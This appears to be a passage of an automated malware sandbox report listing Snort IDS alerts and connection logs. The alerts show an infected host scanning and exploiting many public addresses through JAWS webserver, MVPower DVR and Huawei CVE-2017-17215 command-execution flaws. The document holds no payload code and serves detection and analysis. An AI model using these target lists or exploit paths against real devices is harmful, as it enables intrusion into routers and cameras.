Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:48036 -> 191.82.53.43:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:37718 -> 157.70.251.23:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60866 -> 70.121.13.4:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46464 -> 167.82.120.66:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44734 -> 59.49.86.225:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:48982 -> 205.186.128.8:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:38972 -> 34.107.164.60:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:59862 -> 34.216.109.8:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60866 -> 70.121.13.4:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:46464 -> 167.82.120.66:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:36874 -> 147.161.173.4:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44720 -> 94.250.243.6:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55428 -> 91.146.142.151:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:48036 -> 191.82.53.43:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58860 -> 8.134.23.43:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38508 -> 156.254.103.55:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:38508 -> 156.254.103.55:37215
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:42602 -> 198.44.248.104:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:44734 -> 59.49.86.225:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:44720 -> 94.250.243.6:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:55428 -> 91.146.142.151:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58860 -> 8.134.23.43:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:42602 -> 198.44.248.104:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50982 -> 144.126.206.157:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40796 -> 86.181.28.252:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:50982 -> 144.126.206.157:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40796 -> 86.181.28.252:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:53078 -> 104.69.218.34:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50120 -> 104.230.152.225:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35348 -> 75.187.170.240:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58122 -> 198.204.78.115:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58690 -> 104.21.5.88:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:49236 -> 172.67.227.6:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:53078 -> 104.69.218.34:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40430 -> 38.173.201.91:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47396 -> 34.18.64.54:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60562 -> 27.54.141.224:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:50120 -> 104.230.152.225:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:53436 -> 103.50.160.139:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:35348 -> 75.187.170.240:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58690 -> 104.21.5.88:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:49236 -> 172.67.227.6:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:54834 -> 123.1.253.236:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:43476 -> 168.93.163.146:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40430 -> 38.173.201.91:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:48824 -> 35.211.249.211:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:53882 -> 23.37.171.104:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:51782 -> 106.15.76.48:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40344 -> 20.70.223.64:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:43476 -> 168.93.163.146:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58056 -> 118.99.59.249:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:48824 -> 35.211.249.211:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:47396 -> 34.18.64.54:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60562 -> 27.54.141.224:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:43216 -> 52.66.124.196:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:53882 -> 23.37.171.104:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:53436 -> 103.50.160.139:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33286 -> 202.75.103.117:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:51782 -> 106.15.76.48:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40344 -> 20.70.223.64:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58056 -> 118.99.59.249:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:43216 -> 52.66.124.196:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:33286 -> 202.75.103.117:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60854 -> 23.209.26.229:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:41464 -> 117.20.101.125:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:43368 -> 47.96.31.60:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60854 -> 23.209.26.229:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:41464 -> 117.20.101.125:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58566 -> 138.118.173.132:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50398 -> 61.220.62.145:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:43368 -> 47.96.31.60:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60496 -> 155.159.137.8:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58566 -> 138.118.173.132:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:50398 -> 61.220.62.145:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60496 -> 155.159.137.8:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44830 -> 23.218.15.43:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40366 -> 104.25.137.95:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:57290 -> 146.126.59.113:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:49620 -> 51.17.132.47:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:44830 -> 23.218.15.43:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53884 -> 156.235.102.234:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:53884 -> 156.235.102.234:37215
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40366 -> 104.25.137.95:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56304 -> 20.44.122.130:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50988 -> 176.119.158.219:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:49620 -> 51.17.132.47:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56304 -> 20.44.122.130:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:51600 -> 185.2.14.12:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:50988 -> 176.119.158.219:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:51600 -> 185.2.14.12:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:36246 -> 142.93.144.234:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:52038 -> 44.237.242.202:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:36246 -> 142.93.144.234:80

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 34064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 51912
Source: unknown	Network traffic detected: HTTP traffic on port 34064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 51964
Source: unknown	Network traffic detected: HTTP traffic on port 51712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 51986
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52002
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52014
Source: unknown	Network traffic detected: HTTP traffic on port 37532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52046
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52178
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52218
Source: unknown	Network traffic detected: HTTP traffic on port 40630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52242
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52260
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52316
Source: unknown	Network traffic detected: HTTP traffic on port 38108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52342
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52370
Source: unknown	Network traffic detected: HTTP traffic on port 51712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52412
Source: unknown	Network traffic detected: HTTP traffic on port 34064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52452
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52468
Source: unknown	Network traffic detected: HTTP traffic on port 41028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52526
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52542
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52554
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52574
Source: unknown	Network traffic detected: HTTP traffic on port 51010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52640
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52656
Source: unknown	Network traffic detected: HTTP traffic on port 51010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52672
Source: unknown	Network traffic detected: HTTP traffic on port 40630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52702
Source: unknown	Network traffic detected: HTTP traffic on port 38108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52708
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52714
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52768
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52786
Source: unknown	Network traffic detected: HTTP traffic on port 39512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52816
Source: unknown	Network traffic detected: HTTP traffic on port 48376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 52830
Source: unknown	Network traffic detected: HTTP traffic on port 48376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39044
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39068
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39082
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39096
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39130
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39140
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39148
Source: unknown	Network traffic detected: HTTP traffic on port 38508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39154
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39158
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39162
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39172
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39184
Source: unknown	Network traffic detected: HTTP traffic on port 37722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39204
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39240
Source: unknown	Network traffic detected: HTTP traffic on port 56258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39254
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39260
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39272
Source: unknown	Network traffic detected: HTTP traffic on port 37722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39278
Source: unknown	Network traffic detected: HTTP traffic on port 40630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39314
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39342
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39350
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39358
Source: unknown	Network traffic detected: HTTP traffic on port 37722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39388
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39398
Source: unknown	Network traffic detected: HTTP traffic on port 39512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39412
Source: unknown	Network traffic detected: HTTP traffic on port 59154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39418
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39444
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39458
Source: unknown	Network traffic detected: HTTP traffic on port 49608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39484
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39498
Source: unknown	Network traffic detected: HTTP traffic on port 56952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56258 -> 37215

Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.31.132.249:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.96.125.251:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.175.187.47:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.217.21.150:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.217.177.56:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.47.165.250:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.145.30.167:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.207.77.162:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.174.148.251:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.202.56.82:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.27.51.50:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.161.24.76:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.7.252.105:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.191.174.232:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.45.72.52:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.51.45.84:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.221.205.28:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.183.1.116:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.27.205.208:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.204.195.13:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.18.198.56:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.62.40.101:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.105.227.58:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.203.206.199:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.79.51.63:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.232.78.91:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.223.82.26:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.70.101.109:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.134.182.0:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.204.71.205:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.240.169.176:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.28.39.13:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.54.150.56:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.203.110.67:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.135.173.51:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.159.126.161:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.26.12.104:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.162.159.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.69.179.73:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.4.242.187:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.60.99.189:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.184.91.65:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.187.34.140:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 41.157.118.31:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 156.235.90.1:37215
Source: global traffic	TCP traffic: 192.168.2.23:24529 -> 197.49.119.45:37215
